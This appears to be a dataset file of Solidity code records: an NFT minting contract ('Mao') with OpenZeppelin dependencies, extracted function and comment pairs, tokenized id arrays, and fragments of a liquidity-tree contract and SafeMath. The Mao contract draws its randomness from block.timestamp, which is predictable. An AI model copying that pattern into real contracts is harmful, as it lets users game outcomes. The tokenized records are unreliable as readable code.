super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// Dependency file: @openzeppelin/contracts/access/Ownable.sol
// pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol
// pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Dependency file: contracts/IFortuneToken.sol
// pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* Custom interface is used to allow external contracts to call burn method
*/
interface IFortuneToken is IERC20 {
function burn(uint256 amount) external;
}
// Dependency file: contracts/MaoStorage.sol
// pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/utils/Strings.sol";
contract MaoStorage {
using Strings for uint256;
bytes private constant _ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
function _toTokenURIFormat(bytes memory source, uint256 tokenId) internal pure returns (string memory) {
bytes memory _base58Bytes = _toBase58(source);
return string(abi.encodePacked(
"ipfs://",
_base58Bytes,
"/",
tokenId.toString()
));
}
// Source: verifyIPFS (https://github.com/MrChico/verifyIPFS/blob/master/contracts/verifyIPFS.sol)
// @author Martin Lundfall ([email protected])
// @dev Converts hex string to base 58
function _toBase58(bytes memory source) private pure returns (bytes memory) {
uint256 sourceLength = source.length;
if (sourceLength == 0) return new bytes(0);
uint256[] memory digits = new uint256[](46);
digits[0] = 0;
uint256 digitlength = 1;
for (uint256 i = 0; i < sourceLength; ++i) {
uint256 carry = uint256(uint8(source[i]));
for (uint256 j = 0; j < digitlength; ++j) {
carry += digits[j] * 256;
digits[j] = carry % 58;
carry = carry / 58;
}
while (carry > 0) {
digits[digitlength] = carry % 58;
digitlength++;
carry = carry / 58;
}
}
// 40k / 480k
return _toAlphabet(_reverse(_truncate(digits, digitlength)));
}
function _truncate(uint256[] memory array, uint256 length)
private
pure
returns (uint256[] memory)
{
uint256[] memory output = new uint256[](length);
for (uint256 i = 0; i < length; i++) {
output[i] = array[i];
}
return output;
}
function _reverse(uint256[] memory input)
private
pure
returns (uint256[] memory)
{
uint256 inputLength = input.length;
uint256[] memory output = new uint256[](inputLength);
for (uint256 i = 0; i < inputLength; i++) {
output[i] = input[inputLength - 1 - i];
}
return output;
}
function _toAlphabet(uint256[] memory indices)
private
pure
returns (bytes memory)
{
uint256 indicesLength = indices.length;
bytes memory output = new bytes(indicesLength);
for (uint256 i = 0; i < indicesLength; i++) {
output[i] = _ALPHABET[indices[i]];
}
return output;
}
}
// Root file: contracts/Mao.sol
pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
// import "@openzeppelin/contracts/access/Ownable.sol";
// import "contracts/IFortuneToken.sol";
// import "contracts/MaoStorage.sol";
contract Mao is ERC721Enumerable, Ownable, MaoStorage {
using Address for address;
// Constants
uint256 public constant MAX_TOKEN_SUPPLY = 8_888;
uint256 public constant BASE_EARN_AMOUNT = 18 ether;
uint256 public constant MESSAGE_CHANGE_PRICE = 88 ether;
uint256 public constant NAME_CHANGE_PRICE = 888 ether;
uint256 public constant MULTIPLIER_UPGRADE_PRICE = 8888 ether;
// Minted Tokens
uint256 private _tokenIds;
mapping (uint256 => string) private _tokenName;
mapping (uint256 => string) private _tokenMessage;
mapping (uint256 => uint8) private _earningsMultiplier;
// FORTUNE token address
address private _fortuneAddress;
// External link containing contract-level metadata
string private _contractURI;
// Events
event NameChange (uint256 indexed _tokenId, string newName);
event MessageChange (uint256 indexed _tokenId, string newMessage);
event MultiplierChange (uint256 indexed _tokenId, uint8 newMultiplier);
// IPFS
bytes2 private constant IPFS_PREFIX = hex"1220";
// Added Tokens
// - uint16 packs a lot better
// - tokenId ranges from 1 - 8888, avoiding `tokenId - 1` operations to save gas
uint16[8889] private _tokenBatch;
uint256 private _currentBatch;
mapping (uint256 => uint256) private _batchPrice;
mapping (uint256 => bytes32) private _batchIpfsDigest;
constructor() ERC721("Mao", "MAO") { }
// Run once
function setFortuneAddress(address fortuneAddress) external onlyOwner {
require(_fortuneAddress == address(0), "Already set");
_fortuneAddress = fortuneAddress;
}
function nameByTokenId(uint256 tokenId) external view returns (string memory) {
_checkTokenMinted(tokenId);
return _tokenName[tokenId];
}
function messageByTokenId(uint256 tokenId) external view returns (string memory) {
_checkTokenMinted(tokenId);
return _tokenMessage[tokenId];
}
function multiplierByTokenId(uint256 tokenId) public view returns (uint8) {
_checkTokenMinted(tokenId);
return _earningsMultiplier[tokenId];
}
function getTokenEarnAmount(uint256 tokenId) external view returns (uint256) {
_checkTokenMinted(tokenId);
return _earningsMultiplier[tokenId] * BASE_EARN_AMOUNT / 100;
}
function priceByTokenId(uint256 tokenId) public view returns (uint256) {
_checkTokenAdded(tokenId);
uint256 tokenPrice = _batchPrice[_tokenBatch[tokenId]];
require(tokenPrice != 0, "Invalid price!");
return tokenPrice;
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
_checkTokenAdded(tokenId);
bytes32 ipfsDigest = _batchIpfsDigest[_tokenBatch[tokenId]];
return MaoStorage._toTokenURIFormat(
abi.encodePacked(IPFS_PREFIX, ipfsDigest),
tokenId
);
}
function contractURI() external view returns (string memory) {
return _contractURI;
}
function totalAdded() public view returns (uint256) {
return _tokenIds;
}
function mintTokenTo(address to, uint256 tokenId) public payable {
require(totalSupply() < MAX_TOKEN_SUPPLY, "No more token available");
require(
(msg.value > 0) && (msg.value == priceByTokenId(tokenId)),
"Ether sent not correct"
);
_safeMint(to, tokenId);
// Set random earnings multiplier
_earningsMultiplier[tokenId] = 100 + randomizer(tokenId);
}
function mintToken(uint256 tokenId) external payable {
mintTokenTo(_msgSender(), tokenId);
}
/**
* Attribute changes
*/
function changeName(uint256 tokenId, string memory newName) external {
_verifyOwner(tokenId);
require(isValidName(newName), "Invalid name");
_fundContract(NAME_CHANGE_PRICE);
_tokenName[tokenId] = newName;
_burnFortune(NAME_CHANGE_PRICE);
emit NameChange(tokenId, newName);
}
function changeMessage(uint256 tokenId, string memory newMessage) external {
_verifyOwner(tokenId);
require(isValidMessage(newMessage), "Invalid message");
_fundContract(MESSAGE_CHANGE_PRICE);
_tokenMessage[tokenId] = newMessage;
_burnFortune(MESSAGE_CHANGE_PRICE);
emit MessageChange(tokenId, newMessage);
}
function upgradeMultiplier(uint256 tokenId) external {
_verifyOwner(tokenId);
uint8 currentMultiplier = multiplierByTokenId(tokenId);
require(currentMultiplier < 255, "Upgrades maxed");
_fundContract(MULTIPLIER_UPGRADE_PRICE);
uint8 upgrade = randomizer(tokenId);
uint8 finalMultiplier = (255 - currentMultiplier) >= upgrade ? currentMultiplier + upgrade : 255;
_earningsMultiplier[tokenId] = finalMultiplier;
_burnFortune(MULTIPLIER_UPGRADE_PRICE);
emit MultiplierChange(tokenId, finalMultiplier);
}
function _fundContract(uint actionPrice) private {
_checkBalance(actionPrice);
// Transfer tokens to this contract to skip approval for burning
IFortuneToken(_fortuneAddress).transferFrom(_msgSender(), address(this), actionPrice);
}
function _burnFortune(uint actionPrice) private {
IFortuneToken(_fortuneAddress).burn(actionPrice);
}
/**
* Utilities
*/
function isValidName(string memory inputString) public pure returns (bool) {
return _validNameOrMsg(inputString, 4096);
}
function isValidMessage(string memory inputString) public pure returns (bool) {
return _validNameOrMsg(inputString, 256);
}
function _validNameOrMsg(string memory inputString, uint256 maxLength) private pure returns (bool) {
bytes memory inputBytes = bytes(inputString);
uint256 inputLength = inputBytes.length;
return (inputLength > 0)
&& (inputLength < maxLength)
&& (inputBytes[0] != 0x20) // No leading space
&& (inputBytes[inputLength - 1] != 0x20); // No trailing space
}
function randomizer(uint256 tokenId) private view returns (uint8) {
return 5 + uint8(uint256(keccak256(abi.encodePacked(block.timestamp, tokenId))) % 100);
}
// Add "any" amount of new tokens into existing pool
function addTokensToPool(bytes32 ipfsDigest, uint72 mintPrice, uint16 startTokenId, uint16 endTokenId) external onlyOwner {
require(_tokenIds < MAX_TOKEN_SUPPLY, "8888 NFTs limit");
require(mintPrice > 0, 'Invalid mint price');
require(
0 < startTokenId
&& startTokenId <= endTokenId
&& endTokenId <= MAX_TOKEN_SUPPLY,
'Invalid tokenIds');
require(startTokenId > totalAdded(), 'Duplicate tokenIds');
require(startTokenId == (totalAdded() + 1), 'TokenId skipped');
_currentBatch += 1;
_batchPrice[_currentBatch] = mintPrice;
_batchIpfsDigest[_currentBatch] = ipfsDigest;
uint256 newTokens = endTokenId - startTokenId + 1;
_tokenIds += newTokens;
require(_tokenIds <= MAX_TOKEN_SUPPLY, 'Exceeded 8888 NFTs');
uint16 currentBatch = uint16(_currentBatch);
for (uint16 i = startTokenId; i <= endTokenId; i++) {
_tokenBatch[i] = currentBatch; // tokenId starts from 1
}
}
function _checkBalance(uint256 _price) private view {
require(
IFortuneToken(_fortuneAddress).balanceOf(_msgSender()) > _price,
"Insufficient balance"
);
}
function _checkTokenMinted(uint256 tokenId) private view {
require(_exists(tokenId), "Token not minted yet");
}
function _checkTokenAdded(uint256 tokenId) private view {
require((tokenId > 0) && (tokenId <= MAX_TOKEN_SUPPLY), "Invalid tokenId");
require(tokenId <= totalAdded(), "Token not added");
}
function _verifyOwner(uint256 tokenId) private view {
require(ownerOf(tokenId) == _msgSender(), "Owner-only operation");
}
/**
* Optional functionality to update contract metadata in case external link breaks
*/
function setContractURI(string memory newContractURI) external onlyOwner {
require(bytes(newContractURI).length > 0, "Invalid URI");
_contractURI = newContractURI;
}
function withdraw() external onlyOwner {
uint balance = address(this).balance;
payable(_msgSender()).transfer(balance);
}
}
|
Source: verifyIPFS (https:github.com/MrChico/verifyIPFS/blob/master/contracts/verifyIPFS.sol) @author Martin Lundfall ([email protected]) @dev Converts hex string to base 58
|
function _toBase58(bytes memory source) private pure returns (bytes memory) {
uint256 sourceLength = source.length;
if (sourceLength == 0) return new bytes(0);
uint256[] memory digits = new uint256[](46);
digits[0] = 0;
uint256 digitlength = 1;
for (uint256 i = 0; i < sourceLength; ++i) {
uint256 carry = uint256(uint8(source[i]));
for (uint256 j = 0; j < digitlength; ++j) {
carry += digits[j] * 256;
digits[j] = carry % 58;
carry = carry / 58;
}
while (carry > 0) {
digits[digitlength] = carry % 58;
digitlength++;
carry = carry / 58;
}
}
}
| 10,556,652 |
[
1,
1830,
30,
3929,
2579,
4931,
261,
4528,
30,
6662,
18,
832,
19,
49,
86,
782,
10764,
19,
8705,
2579,
4931,
19,
10721,
19,
7525,
19,
16351,
87,
19,
8705,
2579,
4931,
18,
18281,
13,
225,
490,
485,
267,
511,
1074,
25602,
23265,
3652,
131,
259,
1117,
5717,
225,
20377,
3827,
533,
358,
1026,
17066,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
869,
2171,
8204,
12,
3890,
3778,
1084,
13,
3238,
16618,
1135,
261,
3890,
3778,
13,
288,
203,
3639,
2254,
5034,
27406,
273,
1084,
18,
2469,
31,
203,
3639,
309,
261,
3168,
1782,
422,
374,
13,
327,
394,
1731,
12,
20,
1769,
203,
203,
3639,
2254,
5034,
8526,
3778,
6815,
273,
394,
2254,
5034,
8526,
12,
8749,
1769,
203,
3639,
6815,
63,
20,
65,
273,
374,
31,
203,
3639,
2254,
5034,
8035,
2469,
273,
404,
31,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
27406,
31,
965,
77,
13,
288,
203,
5411,
2254,
5034,
9331,
273,
2254,
5034,
12,
11890,
28,
12,
3168,
63,
77,
5717,
1769,
203,
5411,
364,
261,
11890,
5034,
525,
273,
374,
31,
525,
411,
8035,
2469,
31,
965,
78,
13,
288,
203,
7734,
9331,
1011,
6815,
63,
78,
65,
380,
8303,
31,
203,
7734,
6815,
63,
78,
65,
273,
9331,
738,
17066,
31,
203,
7734,
9331,
273,
9331,
342,
17066,
31,
203,
5411,
289,
203,
203,
5411,
1323,
261,
9815,
1176,
405,
374,
13,
288,
203,
7734,
6815,
63,
11052,
2469,
65,
273,
9331,
738,
17066,
31,
203,
7734,
8035,
2469,
9904,
31,
203,
7734,
9331,
273,
9331,
342,
17066,
31,
203,
5411,
289,
203,
3639,
289,
203,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0x2eCBe30EdccDeF3e4D0535658Ac0cc0E9a8c0aFD/sources/contracts/utils/LiquidityTree.sol
|
* @dev remove amount only for limited leaves in tree [first_leaf, leaf] @param amount value to remove/ get last-updated top node push changes from last-updated node down to the leaf, if leaf is not up to date
|
function removeLimit(uint128 amount, uint48 leaf) internal {
if (treeNode[1].amount >= amount) {
(uint48 updatedNode, uint48 begin, uint48 end) = getUpdatedNode(
1,
treeNode[1].updateId,
LIQUIDITYNODES,
LIQUIDITYLASTNODE,
1,
LIQUIDITYNODES,
LIQUIDITYLASTNODE,
leaf
);
push(updatedNode, begin, end, leaf, ++updateId);
pushLazy(
1,
LIQUIDITYNODES,
LIQUIDITYLASTNODE,
LIQUIDITYNODES,
leaf,
amount,
true,
++updateId
);
}
}
| 752,287 |
[
1,
4479,
3844,
1338,
364,
13594,
15559,
316,
2151,
306,
3645,
67,
12070,
16,
7839,
65,
225,
3844,
460,
358,
1206,
19,
336,
1142,
17,
7007,
1760,
756,
1817,
3478,
628,
1142,
17,
7007,
756,
2588,
358,
326,
7839,
16,
309,
7839,
353,
486,
731,
358,
1509,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1206,
3039,
12,
11890,
10392,
3844,
16,
2254,
8875,
7839,
13,
2713,
288,
203,
3639,
309,
261,
3413,
907,
63,
21,
8009,
8949,
1545,
3844,
13,
288,
203,
5411,
261,
11890,
8875,
3526,
907,
16,
2254,
8875,
2376,
16,
2254,
8875,
679,
13,
273,
336,
7381,
907,
12,
203,
7734,
404,
16,
203,
7734,
29733,
63,
21,
8009,
2725,
548,
16,
203,
7734,
8961,
53,
3060,
4107,
8744,
55,
16,
203,
7734,
8961,
53,
3060,
4107,
14378,
8744,
16,
203,
7734,
404,
16,
203,
7734,
8961,
53,
3060,
4107,
8744,
55,
16,
203,
7734,
8961,
53,
3060,
4107,
14378,
8744,
16,
203,
7734,
7839,
203,
5411,
11272,
203,
203,
5411,
1817,
12,
7007,
907,
16,
2376,
16,
679,
16,
7839,
16,
965,
2725,
548,
1769,
203,
203,
5411,
1817,
14443,
12,
203,
7734,
404,
16,
203,
7734,
8961,
53,
3060,
4107,
8744,
55,
16,
203,
7734,
8961,
53,
3060,
4107,
14378,
8744,
16,
203,
7734,
8961,
53,
3060,
4107,
8744,
55,
16,
203,
7734,
7839,
16,
203,
7734,
3844,
16,
203,
7734,
638,
16,
203,
7734,
965,
2725,
548,
203,
5411,
11272,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
